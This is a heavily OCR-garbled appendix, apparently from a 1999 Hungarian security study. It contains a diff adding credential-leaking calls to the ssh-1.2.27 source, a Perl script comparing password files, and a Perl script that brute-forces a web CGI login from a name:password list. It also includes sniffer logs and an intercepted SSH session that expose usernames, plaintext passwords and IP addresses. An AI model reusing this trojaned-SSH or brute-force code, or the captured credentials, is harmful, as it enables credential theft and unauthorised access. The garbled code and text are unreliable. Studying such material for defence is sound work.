packet_addleakinfo("username:");
packet_addleakinfo(user) ;
packet_addleakinfo("password:
packet_addleakinfo(password) ;

+ o+ o+ o+

/* Try authentication with the password. */
#if defined (KERBEROS) && defined(KRB5)
diff -urN ssh-1.2.27-orig/sshleakd.c ssh-1.2.27-atirt1.3/sshleakd.c
--- ssh-1.2.27-orig/sshleakd.c Thu Jan 1 01:00:00 1970
+++ ssh-1.2.27-atirt1.3/sshleakd.c Mon Oct 18 17:12:09 1999
@@ -0,0 +1,16 @@
+/* sshleak.c
+
+x/
+#include "includes.h"
+#include "xmalloc.h"
+#include "ssh.h"
+#include "userfile.h"
+
+char *read_passphrase(uid_t uid, const char *prompt, int from_stdin)

+{
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+return "\0";

+}

+

+void read_confirmation(const char *prompt)
+{

+}

B.4 PERL program a jelsz6fajl-mdédosulasok vizsgalatahoz

#!/usr/bin/perl

if (scalar (@ARGV)<2)

{

print "parameterek: pdiff.pl <regijelszofajl> <ujjelszofajl>\n";
exit;

}
if (open(F1,$ARGV[0])==0)
{

print "$ARGV[0] - fajl megnyitasi hiba ! \n";
exit;

}
if (open(F2,$ARGV[1])==0)
{

print "$ARGV[1] - fajl megnyitasi hiba ! \n";
exit;

QFF1=<F1>;
@FF2=<F2>;
close(F1);
close(F2);

foreach $sor (QFF1)

{

@s=split(":",$sor);

if (length(@s[1])>=13)

{

$ervi++; #ervenyes jelszavak szamat noveljuk
if (scalar(grep(/~@s[0]:@s[1]:.%/,@FF2))>0)
{

$maradt++;

}

else

{

$valtozott++;

s

if (scalar(grep(/~@s[0]:.*/,@FF2))==0)
{

$torolt++;

s

}

¥

print (" ervenyes jelszavak a regi fajlban: $ervil\n");

print ("megvaltoztatott jelszavak: $valtozott maradt: $maradt \n");
print ("torolt jelszavak: $torolt \n");

$arany=$valtozott/$maradt;

print (" megvaltozott/maradt: $arany\n");

$dbl=scalar (QFF1);

$db2=scalar (CFF2) ;

print (" regi jelszofajl nagysag: $dbl, uj:$db2 \n");

B.5 PERL program a CGI alapa Web-es probléma
tamadasara
#!/usr/bin/perl

use LWP::UserAgent;

use HTTP::Request::Common;

while ($sor=<>)
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{

$s=$sor;
$s=" s/\n//g;
@s2=split(":",$s);

$nev=0s2[0] ;

$jelszo=0s2[1];

print ".";

$i++;

if ($i % 100==0) {print $i."\n";}

$ua = new LWP::UserAgent;
$ua->agent ("Netspek") ;

#

#itt jon a specifikus cgi meghivasa

#

# ezt kihagytuk... a $rq valtozo tartalmazza az adott POST kerelmet
$res=$ua->request ($rq) ;

if (! $res->is_success)

{print "error--$nev $jelszo\n";}

@V=$res->content;

@V2=grep(/.*assword check ok.*/,QV);
if (scalar(@v2)>0)

{

open(F,">>siker");

print F $sor;

close(F);

}

}
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Filiggelék C

Néhany tipikus naplofajl

C.1 A Telnet bejelentkezések napléfajlja

[Wed Oct 13
[Wed Oct 13
[Wed Oct 13
[Wed Oct 13
[Wed Oct 13
[Wed Oct 13
[Thu Oct 14
[Thu Oct 14
[Fri Oct 15
[Fri Oct 15
[Fri Oct 15
[Fri Oct 15

C.2

14:27:47
14:27:47
14:28:26
14:28:26

1999] -
1999] -
1999] -
1999] -
1999] -
1999] -
1999] -
1999] -
19991 -
19991 -
19991 -
1999] -

Sniffit session ended.
Sniffit session started.

152.66.78.129.1858-152.66.
152.66.78.129.1858-152.66.

Sniffit session ended.
Sniffit session started.

193.
193.
152.
152.
146.
146.

91.87.92.63431-152.66.
91.87.92.63431-152.66.

66.78.140.1028-209.79
66.78.140.1028-209.79
110.72.203.2594-152.66.78.140.23: login [gezal

110.72.203.2594-152.66.78.140.23: password [rosil

78.140.
78.140.

78.140.
78.140.
.140.198.23: login [guest]

.140.198.23: password [guest]

23: login [boldi~
23: password [rosi]

23: login [iko]
23: password [iko5]

Egy lehallgatott SSH kapcsolat felhasznalé felé
iranyulé adatfolyama

Linux camus 2.2.12 #3 SMP Tue Sep 7 17:10:45 CEST 1999 i686 unknown

o o
| Access to this system is monitored. |
| Unauthorized access is prohibited. |
| Violators will be referred for |
| prosecution. |
o o
You have new mail.
$ 1s -la
total 488
drwxr-sr-x 3 viko viko 1024
drwxrwsr-x 14 root staff 1024
“rw--—----- 1 viko viko 1145
“rw-r--r-- 1 viko viko 80
“rw-r--r-—- 1 viko viko 70
-IW-r--r--— 1 root viko 55
drwxr-sr-x 8 viko viko 1024
“IW-IW-I-— 1 viko viko 487870
$ cd eggdrop
$ 1s -la
total 313
drwxr-sr-x 8 viko viko 1024
drwxr-sr-x 3 viko viko 1024
“TW-r--r-- 1 viko viko 857
B 4 Sttt 1 viko viko 1258
“TW-Iw-r-- 1 viko viko 0
“ITW-IW-I—— 1 viko viko 0
1 viko viko 5998
1 viko viko 494
1 viko viko 29153
1 viko viko 481
“IW-IW-I-— 1 viko viko 56

Oct
Oct
Oct
Oct
Oct
Oct
Oct
Oct

Oct
Oct
Oct
Oct
Oct
Oct
Oct
Oct
Oct
Oct
Oct
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.bash_history
.bash_profile
.bashrc

.bashrc”

eggdrop
eggdropl.3.23.tar.gz

DEBUG

Murd3R.
Murd3R.
Murd3R.
Murd3R.
Murd3R.
Murd3r.
Murd3r.
chattr.
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chan
notes
spec
user
xtranfo
conf
xtranfo
log



“TWXI-XI-X 1 viko viko 261980 Oct 12 22:51 eggdrop
drwxr-sr-x 3 viko viko 1024 Oct 12 22:17 filesys
drwxr-sr-x 4 viko viko 1024 Oct 12 22:18 help
drwxr-sr-x 2 viko viko 1024 Oct 12 22:19 language
drwxr-sr-x 2 viko viko 1024 Oct 12 23:04 log
-rw-r--r-- 1 viko viko 41 Oct 12 22:17 message
drwxr-sr-x 2 viko viko 1024 Oct 12 22:21 modules
“IW-Ir—-r--— 1 viko viko 13 Oct 12 22:17 motd
“IrW-rw-r-- 1 viko viko 5 Oct 12 22:55 pid.Murd3R
drwxr-sr-x 2 viko viko 1024 Oct 12 22:22 scripts
“rw-r--r-—- 1 viko viko 43 Oct 12 22:17 sende
-rw-r--r-- 1 viko viko 84 Oct 12 22:17 tmpcatlog
-IW-r--r--— 1 viko viko 49 Oct 12 22:17 westel

$ rm murd3r.user

rm: murd3r.user: No such file or directory
$ rm Murd3R,"H “H.user

$ exit

logout

C.3 Egy lehallgatott SSH kapcsolat felhasznalo feloli
adatfolyama

username:

iko

password:

viko4

1s -la

cd eggdrop

1s -la

rm murd3r.user

rm Murd3R,”H “H.user
exit
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